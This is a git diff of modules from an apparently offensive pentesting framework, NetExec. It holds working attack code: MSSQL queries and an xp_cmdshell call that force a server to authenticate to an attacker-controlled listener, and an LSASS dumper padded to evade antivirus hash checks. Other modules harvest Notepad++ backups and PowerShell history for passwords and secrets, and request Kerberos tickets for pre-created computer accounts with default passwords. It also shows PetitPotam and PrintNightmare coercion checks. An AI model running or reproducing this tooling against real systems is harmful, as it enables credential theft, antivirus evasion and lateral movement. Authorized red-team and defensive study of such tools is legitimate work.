f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
f"xp_subdirs '\\\\{self.listener}\\file';",
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
]
for command in commands:
try:
result = self.mssql_conn.sql_query(command)
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
self.context.log.display("Commands executed successfully, check the listener for results")
+16 -8
View File
@@ -42,12 +42,12 @@ class NXCModule:
- rollback (remove sysadmin privilege)
"""
self.action = None
self.context = context
if "ACTION" in module_options:
self.action = module_options["ACTION"]
def on_login(self, context, connection):
self.context = context
# get mssql connection
self.mssql_conn = connection.conn
# fetch the current user
@@ -219,6 +219,7 @@ class NXCModule:
"""
if self.is_admin_user(user.username):
user.is_sysadmin = True
self.context.log.debug(f"Updated {user.username} to is_sysadmin")
return True
user.dbowner = self.check_dbowner_privesc(exec_as)
return user.dbowner
@@ -249,11 +250,15 @@ class NXCModule:
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin:
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
try:
if int(is_admin):
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
except ValueError:
self.logger.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
return False
def get_databases(self, exec_as="") -> list:
@@ -441,13 +446,16 @@ class NXCModule:
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
is_admin = res[0][""]
try:
if int(res):
if is_admin != "NULL" and int(is_admin):
self.admin_privs = True
self.context.log.debug(f"Updated: {username} is admin!")
return True
else:
return False
except Exception:
except ValueError:
self.context.log.fail(f"Error checking if user is admin, got {is_admin} as response. Expected 0 or 1.")
return False
def revert_context(self, exec_as):
+13 -7
View File
@@ -39,7 +39,6 @@ class NXCModule:
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -52,6 +51,10 @@ class NXCModule:
self.nano = "nano.exe"
self.nano_path = ""
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
self.nano_embedded64 += padding
self.nano_embedded32 += padding
if "NANO_PATH" in module_options:
self.nano_path = module_options["NANO_PATH"]
@@ -98,7 +101,7 @@ class NXCModule:
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -118,13 +121,13 @@ class NXCModule:
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail("Failed to execute command to get LSASS PID")
return
if len(p) == 1:
p = p[0]
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -150,7 +153,10 @@ class NXCModule:
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_nanodump_binary()
return
else:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
@@ -174,7 +180,7 @@ class NXCModule:
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
+50
View File
@@ -0,0 +1,50 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
# Finds notepad++ unsaved backup files
# Module by @Defte_
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
found = 0
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
file_path = f"{notepad_backup_dir}{file.get_longname()}"
if file.get_longname() not in self.false_positive:
found += 1
file_path = f"{notepad_backup_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"Notepad++ backup written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
except Exception:
pass
+8 -4
View File
@@ -7,10 +7,11 @@ class NXCModule:
"""
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
Module by @Tw1sm
Modified by Deft (08/02/2024)
"""
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -32,19 +33,22 @@ class NXCModule:
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
)
key_handle = ans["phkResult"]
rtype = None
data = None
rtype = data = None
try:
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError:
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]:
# Changed by Defte
# Unless this keys is set to 3 or higher, NTLMv1 can be used
if data in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
finally:
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from nxc.paths import NXC_PATH
import socket
class NXCModule:
"""
Extract obsolete operating systems from LDAP
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
if ldap_time == "0": # Account for never-set passwords
return "Never"
try:
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
return epoch.strftime("%Y-%m-%d %H:%M:%S")
except Exception:
return "Conversion Error"
def options(self, context, module_options):
"""No module-specific options required."""
def on_login(self, context, connection):
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if "attributes" not in item:
continue
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
for attribute in item["attributes"]:
attr_type = str(attribute["type"])
if attr_type == "operatingSystem":
os = str(attribute["vals"][0])
elif attr_type == "dNSHostName":
dns_hostname = str(attribute["vals"][0])
elif attr_type == "pwdLastSet":
pwd_last_set = str(attribute["vals"][0])
if dns_hostname and os:
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
try:
ip_address = socket.gethostbyname(dns_hostname)
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
except socket.gaierror:
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
context.log.highlight(log_message)
f.write(log_message + "\n")
else:
context.log.display("No Obsolete Hosts Identified")
return True
+2 -271
View File
@@ -1,25 +1,6 @@
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
import sys
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import (
DCERPCException,
RPC_C_AUTHN_WINNT,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_AUTHN_GSS_NEGOTIATE,
)
from impacket.uuid import uuidtup_to_bin
class NXCModule:
name = "petitpotam"
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -37,254 +18,4 @@ class NXCModule:
self.pipe = module_options["PIPE"]
def on_login(self, context, connection):
dce = coerce(
connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try:
host = context.db.get_hosts(connection.host)[0]
context.db.add_host(
host.ip,
host.hostname,
host.domain,
host.os,
host.smbv1,
host.signing,
petitpotam=True,
)
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (("Data", "20s"),)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
("Data", DWORD),
("cbData", PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
("Type", DWORD),
("Data", DWORD),
("cbData", PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_HASH_BLOB),
("Display", LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
("Lenght", DWORD),
("SID", RPC_SID),
("Hash", EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
("Cert", DWORD),
("Users", ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
("Type", DWORD),
("HASH", ENCRYPTION_CERTIFICATE_HASH_LIST),
("Certif", ENCRYPTION_CERTIFICATE),
("Blob", EFS_RPC_BLOB),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (("Data", ":"),)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
("fileName", WSTR),
("Flag", ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
("hContext", EXIMPORT_CONTEXT_HANDLE),
("ErrorCode", ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (("FileName", WSTR),)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
def coerce(
username,
password,
domain,
lmhash,
nthash,
aesKey,
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
context=None,
):
binding_params = {
"lsarpc": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"efsr": {
"stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target,
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
},
"samr": {
"stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"lsass": {
"stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
"netlogon": {
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+10 -6
View File
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os import path
from nxc.paths import DATA_PATH
from os.path import abspath, join, isfile
from datetime import datetime
from nxc.paths import DATA_PATH, TMP_PATH
class NXCModule:
@@ -25,9 +25,13 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -36,11 +40,11 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/pi.exe"
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if path.isfile(self.imp_exe):
if isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
+60
View File
@@ -0,0 +1,60 @@
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
from io import BytesIO
class NXCModule:
# Module by @357384n
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
sensitive_keywords = [
"password", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
def options(self, _, module_options):
self.export = bool(module_options.get("EXPORT", False))
def on_admin_login(self, context, connection):
for directory in connection.conn.listPath("C$", "Users\\*"):
if directory.get_longname() not in self.false_positive and directory.is_directory():
try:
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
if file.get_longname() not in self.false_positive:
file_path = f"{powershell_history_dir}{file.get_longname()}"
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore")
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
if len(keywords):
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
if self.export:
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
try:
with open(path, "w+") as file:
file.write(file_content)
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception:
pass
+126
View File
@@ -0,0 +1,126 @@
import os
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
Module by: @shad0wcntr0ller
"""
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
pass
def on_login(self, context, connection):
try:
ldap_connection = connection.ldap_connection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
ldap_connection.close()
return True
except Exception as e:
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
password = username[:14] # Password is the first 14 characters of the machine name in lowercase
context.log.info(f"Getting TGT for {username}@{domain}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=userName,
password=password,
domain=domain,
lmhash="",
nthash="",
aesKey="",
kdcHost=kdcHost,
serverName=None
)
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
context.log.fail(f"Failed to save ticket for {username}: {e}")
+20
View File
@@ -0,0 +1,20 @@
class NXCModule:
name = "printerbug"
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.listener = None
def options(self, context, module_options):
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+12 -5
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -39,7 +39,8 @@ class NXCModule:
def on_login(self, context, connection):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
context.log.info(f"Binding to {stringbinding!r}")
@@ -55,12 +56,13 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.setRemoteHost(target)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
@@ -100,7 +102,12 @@ class NXCModule:
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
raise e
context.log.fail(f"Unexpected error: {e}")
except DCERPCException as e:
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
context.log.info("Not vulnerable :'(")
return False
context.log.fail(f"Unexpected error: {e}")
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
return True
+22 -12
View File
@@ -4,9 +4,11 @@
import base64
import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
from datetime import datetime
class NXCModule:
@@ -30,9 +32,11 @@ class NXCModule:
